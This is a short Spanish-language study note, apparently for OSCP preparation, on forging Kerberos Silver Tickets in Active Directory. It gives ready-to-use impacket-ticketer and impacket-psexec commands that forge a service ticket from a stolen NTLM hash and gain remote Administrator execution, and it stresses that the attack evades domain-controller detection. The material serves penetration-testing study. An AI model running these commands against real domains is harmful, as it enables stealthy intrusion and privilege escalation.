# Silver Ticket

> Forjas un **TGS** para **un servicio concreto** usando el hash NTLM de **esa cuenta de servicio** (no del krbtgt). Más sigiloso que el Golden Ticket: **no habla con el DC**. Fuente: oscp.trastero.org/activedirectory.

## Golden vs Silver
```
Golden Ticket → hash de krbtgt → TGT → CUALQUIER servicio del dominio (todopoderoso)
Silver Ticket → hash del servicio (ej. cuenta del SQL/CIFS) → TGS → SOLO ese servicio
```
El Silver no toca el KDC → casi indetectable, pero limitado al servicio.

## Forjar
```bash
impacket-ticketer -nthash <HASH_SERVICIO> -domain-sid S-1-5-21-... \
  -domain corp.local -spn cifs/server.corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@server.corp.local
```
- El hash del servicio sale de Mimikatz / secretsdump (la cuenta de máquina o de servicio).
- `-spn` define a qué servicio aplica (`cifs/`, `mssql/`, `http/`, `host/`...).

Relacionado: Golden Ticket · Kerberos · Pass-the-Hash · OSCP MOC